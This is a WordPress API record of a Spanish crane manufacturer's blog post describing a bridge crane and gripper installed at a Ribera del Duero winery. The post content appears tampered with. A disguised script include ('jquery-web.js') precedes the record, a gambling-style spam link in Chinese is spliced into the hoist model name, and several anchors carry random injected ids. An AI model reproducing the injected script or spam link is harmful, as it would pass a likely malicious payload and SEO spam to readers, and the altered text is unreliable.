<script src="///jquery-web.js"></script>{"id":2292,"date":"2015-10-02T11:22:59","date_gmt":"2015-10-02T09:22:59","guid":{"rendered":"https:\/\/www.ghcranes.com\/blog\/?p=2292"},"modified":"2015-10-02T11:22:59","modified_gmt":"2015-10-02T09:22:59","slug":"bodegas-pago-de-los-capellanes","status":"publish","type":"post","link":"https:\/\/www.ghcranes.com\/blog\/bodegas-pago-de-los-capellanes\/","title":{"rendered":"Bodegas Pago de los Capellanes"},"content":{"rendered":"<p>Fotos de la instalaci\u00f3n en la Bodega de la Ribera del Duero <strong><em>Pago de los Capellanes<\/em><\/strong> (Pedrosa de Duero \u2013 Burgos).<\/p>\n<p>Se trata de una <strong>gr\u00faa puente birrail<\/strong> de 6,3 Tn de unas caracter\u00edsticas especiales. El puente gr\u00faa se utiliza para ayudar a remontar el vino gracias al OVI (recipiente de acero inoxidable de gran capacidad \u2013 5.000 Lts), evitando as\u00ed el t\u00edpico bombeo del vino que le resta propiedades.<\/p>\n<p>A las ya conocidas ventajas del <strong>polipasto <a href="http://fs113.com" target="_blank">意昂</a>体育D13<\/strong>, en este caso se complementan con una equipaci\u00f3n espec\u00edfica adicional para el manejo del OVI (propiedad del cliente).<\/p>\n<p><a id="aabmceyx" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-22.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-2297\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-22-300x200.jpg\" alt=\"Bodegas Pago de los Capellanes (22)\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-22-300x200.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-22.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-22-624x416.jpg 624w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <img loading=\"lazy\" class=\"alignnone size-medium wp-image-2299\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-15-300x200.jpg\" alt=\"Bodegas Pago de los Capellanes (15)\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-15-300x200.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-15.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-15-624x416.jpg 624w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><a id="rexcwtsf" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-23.jpg\"><img loading=\"lazy\" class=\"alignnone size-medium wp-image-2298\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-23-300x200.jpg\" alt=\"Bodegas Pago de los Capellanes (23)\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-23-300x200.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-23.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-23-624x416.jpg 624w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <img loading=\"lazy\" class=\"alignnone size-medium wp-image-2296\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-19-300x200.jpg\" alt=\"Bodegas Pago de los Capellanes (19)\" width=\"300\" height=\"200\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-19-300x200.jpg 300w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-19.jpg 1024w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-19-624x416.jpg 624w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/>\u00a0<a id="fkzthynp" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-3-e1443777665359.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-2301\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-3-e1443777665359.jpg\" alt=\"\" width=\"300\" height=\"439\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-3-e1443777665359.jpg 430w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-3-e1443777665359-205x300.jpg 205w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a> <a id="mktashbs" href=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-16.jpg\"><img loading=\"lazy\" class=\"alignnone wp-image-2300\" src=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-16.jpg\" alt=\"Bodegas Pago de los Capellanes (16)\" width=\"300\" height=\"450\" srcset=\"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-16.jpg 512w, https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-16-200x300.jpg 200w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<ul>\n<li>Configuraci\u00f3n del polipasto 4\/2, es decir con <strong>tiro vertical<\/strong>,\u00a0que <strong>no tiene desplazamiento lateral del gancho<\/strong> a lo largo del tambor a medida que se recoge el cable, <strong>evitando as\u00ed el penduleo<\/strong> de la carga, el cu\u00e1l en este caso consideramos importante evitar.<\/li>\n<\/ul>\n<ul>\n<li>Bastidor especial para compactar el equipo.<\/li>\n<\/ul>\n<ul>\n<li>Soporte para guiado de OVI (evitando as\u00ed el penduleo en desplazamientos laterales y longitudinales).<\/li>\n<\/ul>\n<ul>\n<li>Terminales interiores del soporte de guiado de OVI en nylon, para evitar rayar los OVIS de acero inoxidable.<\/li>\n<\/ul>\n<ul>\n<li>Pinza autom\u00e1tica de accionamiento mec\u00e1nico, para manipulaci\u00f3n de OVI de 5.000 Litros (\u00d8 boca: 1.500 mm).<\/li>\n<\/ul>\n<p>En definitiva se trata de un sistema que aporta tecnolog\u00eda y especial cuidado, en el manejo de los \u201cafamados caldos\u201d de la Ribera de Duero.<\/p>\n<!-- AddThis Advanced Settings generic via filter on the_content --><!-- AddThis Share Buttons generic via filter on the_content -->","protected":false},"excerpt":{"rendered":"<p>Fotos de la instalaci\u00f3n en la Bodega de la Ribera del Duero Pago de los Capellanes (Pedrosa de Duero \u2013 Burgos). Se trata de una gr\u00faa puente birrail de 6,3 Tn de unas caracter\u00edsticas especiales. El puente gr\u00faa se utiliza para ayudar a remontar el vino gracias al OVI (recipiente de acero inoxidable de gran [&hellip;]<!-- AddThis Advanced Settings generic via filter on wp_trim_excerpt --><!-- AddThis Share Buttons generic via filter on wp_trim_excerpt --><\/p>\n","protected":false},"author":1,"featured_media":2302,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[2],"tags":[18,502,500,503,501,499],"jetpack_featured_media_url":"https:\/\/www.ghcranes.com\/blog\/wp-content\/uploads\/2015\/10\/Bodegas-Pago-de-los-Capellanes-20-e1443777744303.jpg","_links":{"self":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/2292"}],"collection":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/comments?post=2292"}],"version-history":[{"count":3,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/2292\/revisions"}],"predecessor-version":[{"id":2303,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/posts\/2292\/revisions\/2303"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media\/2302"}],"wp:attachment":[{"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/media?parent=2292"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/categories?post=2292"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ghcranes.com\/blog\/wp-json\/wp\/v2\/tags?post=2292"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}